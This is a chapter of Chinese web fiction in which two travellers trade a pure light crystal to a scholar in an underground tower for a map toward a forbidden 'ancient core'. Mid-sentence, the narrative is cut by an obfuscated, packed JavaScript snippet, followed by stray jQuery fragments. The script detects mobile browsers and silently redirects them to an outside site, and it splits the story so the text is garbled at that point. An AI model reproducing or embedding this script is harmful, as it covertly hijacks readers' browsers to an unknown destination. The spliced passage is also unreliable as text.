第二天，当“观星塔”塔顶的光芒调整到最明亮的“白昼”模式时，白和■■再次换上了那身破烂但整洁了一些的工装，用斗篷遮掩面容，混入了前往“观星塔”的人流。


    “观星塔”底层比想象中更加宏伟。高大的拱形门厅由厚重的金属和岩石混合筑成，墙壁上镶嵌着一些散发着稳定白光的晶体，驱散了地底的黑暗。


    门厅内人来人往，但秩序井然，与外面“蚁穴”的混乱形成鲜明对比。


    穿着统一灰蓝色长袍、胸口绣着简化星图图案的“观星塔”人员，面无表情地引导着访客，或站在各个柜台后进行评估和交易。


    大厅一侧是公开的任务板，上面张贴着各种探索、采集、护卫任务。


    另一侧则是收购柜台，排着长队，人们将千辛万苦找到的矿石、晶石、零件等物品递上去，由柜台后的鉴定师评估，换取“观星塔”发行的、可以兑换口粮和净化符的“信用点”，或者直接换取实物。


    白没有去排队，而是直接走向大厅深处一个相对安静、有护卫把守的侧门。


    门前站着一个面容严肃、气息沉稳的中年灰袍人。


    “何事？”中年灰袍人拦住他们，目光锐利地扫过两人。


    白没有说话，只是从怀中取出那块用粗布小心包裹的“凝光石”，掀开一角。


    柔和的蓝光顿时流淌出来，带着一种纯净而独特的能量波动。


    中年灰袍人眼中瞬间闪过一丝难以掩饰的惊讶，随即变得凝重。


    他仔细看了看那块石头，又深深看了白一眼，沉声道：“稍等。”


    他转身进入侧门。


    片刻后，他回来，侧身让开：“请进。艾德拉学者要见你们。”


    侧门后是一条向上旋转的石阶，通往塔的上层。


    空气变得更加“洁净”，甚至带着淡淡的、类似檀香和旧书卷的气息。


    墙壁上开始出现一些古老的、描绘着星辰运行和抽象几何图案的壁画。


    他们被引领到一间宽敞、布满书架和各种仪器、中央有一个巨大水晶球（此刻黯淡着）的房间。


    一个穿着深蓝色镶银边长袍、头发花白、面容清癯、戴着水晶单片眼镜的老者，正坐在一张宽大的书桌后。


    他便是艾德拉学者。


    “很纯净的‘凝光石’，能量结构稳定，几乎没有受到污染侵蚀。”艾德拉学者的声音温和而富有磁性，他手中把玩着那块“凝光石”，抬起头，透过单片眼镜审视着白和■■。


    “这种品质的结晶，通常只出现在能量泄露点的最核心，而且早已被标记和管控。”


    “你们……从哪里得到的？”


    他的目光平静，却带着一种洞察人心的力量。


    白微微躬身，用准备好的说辞回答：“在一处废弃的冷却管道深处，偶然发现的。我们只是运气好的掘洞者。”


    “运气好？”艾德拉学者笑了笑，显然不信，但没有追问来源，而是将“凝光石”轻轻放在桌面上，“那么，两位‘运气好’的掘洞者，拿出如此珍贵的东西，想从‘观星塔’这里得到什么？信用点？高级净化符？”


    “还是……别的什么？”


    他的目光在两人身上扫过，尤其在■■身上停留了一瞬，眼中似乎掠过一丝极难察觉的疑惑。


    白直起身，平静地说道：“我们想要信息，和……一份地图。”


    “哦？什么信息？什么地图？”艾德拉学者饶有兴趣地问。


    “关于‘古老核心’区域，以及……通往更上方‘记忆殿堂’传闻之地的、相对安全的路径信息。”白缓缓说道，“我们听说，那里可能还保留着一些……‘特别的东西’。”


    听到“古老核心”和“记忆殿堂”，艾德拉学者的表情严肃起来。


    他身体微微前倾，手指轻轻敲击着桌面。


    “那两个地方……是绝对的禁区。”他的声音低沉了几分，“‘古老核心’是动力炉的坟场，能量乱流和‘腐爪’的巢穴。‘记忆殿堂’……更是猩红诅咒的源头。”


    “你们想去那里找什么？找死吗？”


    “我们只是想碰碰运气。”白面不改色，“或许能找到一些被遗忘的技术遗物，或者……解答一些古老的疑问。我们知道风险。”


    艾德拉学者沉默了片刻，似乎在权衡。他再次拿起那块“凝光石”，仔细端详着。


    “这块‘凝光石’的价值，确实很高。换取一些关于危险区域的信息和警告，倒也合理。”他缓缓说道，“但是，详细的地图，尤其是通往‘记忆殿堂’的可能路径……那是‘观星塔’付出了巨大代价才获得、并被严格封锁的最高机密。”


    “它的价值，远超这块石头。”


    他看向白：“除非……你们能提供等值的、我们更需要的东西。”


    “比如？”白问。


    艾德拉学者放下“凝光石”，身体向后靠进椅背，目光变得深邃：“比如……关于‘东边裂谷’深处，最近出现的异常‘蓝光’和‘能量扰动’的……确切信息。”


    “或者，关于某些特定符号标记的方舟残骸碎片的具体位置。”


    东边裂谷的蓝光？特定符号的碎片？


    白和■■心中同时一动。


    这与他们之前收集到的信息吻合，“观星塔”果然在积极搜寻与方舟核心相关的线索。


    “我们只是偶然得到这块石头，对您说的那些……并不了解。”白选择了暂时回避。


    艾德拉学者似乎并不意外，他笑了笑：“没关系。这块‘凝光石’本身，已经足够换取一些基础信息和……一个机会。”


    他从抽屉里取出一卷用某种兽皮鞣制的、略显古旧的卷轴，在桌上摊开。


    那是一幅比白之前弄到的粗糙手绘地图精细得多的“蚁穴”及周边残骸结构示意图，上面用不同


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17077296|194243||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    颜色的符号和线条标注了已知的安全区、危险区、资源点、以及……几条用虚线表示的、通往“下层废热区”和靠近“古老核心”边缘的“探索路径”。


    “这是‘观星塔’探索队已知的、相对最安全的几条路径信息，以及沿途已知的危险点。”艾德拉学者指着地图，“作为‘凝光石’的交换，我可以将这份复制品给你们。”


    “但是……”


    他话锋一转：“关于‘记忆殿堂’的具体路径，我不会给。不过，如果你们真的决心去送死，并且能在‘古老核心’边缘，找到一个标记着这种符号的、半埋在地下的方形金属结构……”


    他用手指在桌面上虚画了一个复杂的、由同心圆和射线构成的符号，“……并且活着回来，告诉我里面的情况。那么，我不介意再和你们做一笔交易，分享一些关于‘上方’的更古老记录。”


    他盯着白和■■：“如何？这笔交易，对你们来说，应该还算公平。用一块石头，换一条生路（指地图），和一个可能获得更大秘密的机会。”


    白和■■对视一眼。


    地图是他们急需的。


    而那个方形金属结构和后续交易的可能性，则指向了更接近目标的方向。


    “成交。”白点了点头。


    艾德拉学者将地图复制品卷好，连同那块“凝光石”一起，推了过来。


    “祝你们好运，掘洞者。希望下次见到你们时，你们还能站着说话。”


    离开“观星塔”，回到临时藏身处。


    摊开那份精细的地图，白和■■仔细研究起来。


    地图上清晰地标注出了从“蚁穴”前往“下层废热区”的数条路径，以及“废热区”内几个相对安全的临时营地（由“观星塔”设立）和已知的“腐爪”巢穴位置。


    再往深处，靠近“古老核心”边缘的区域，则只标注了大概方向和极其强烈的危险警告。


    而艾德拉提到的那个带有特殊符号的方形金属结构，在地图上“古老核心”边缘的某个点，有一个极小的、用相同符号做的标记。


    “看来，我们的下一站，就是这里了。”白的手指点了点那个标记，“先到‘下层废热区’，找到临时营地作为中转，然后尝试接近‘古老核心’边缘，找到那个结构。”


    他看向■■：“你的状态恢复得如何？”


    “可以行动。”■■简短回答。


    灵力恢复了六七成，精神力也基本稳定。血珀晶石虽然依旧微弱，但至少不再是一片死寂。


    “那么，准备一下，明天一早出发。”白收起地图，银灰色的眼眸中闪过一丝锐芒，“留给我们的时间……不多了。”


    他能感觉到，整个“蚁穴”的能量场，似乎正在发生某种极其缓慢、却不可逆转的……恶化。


    塔顶光芒的不稳定，或许只是一个征兆。


    更大的风暴，正在看不见的地方酝酿。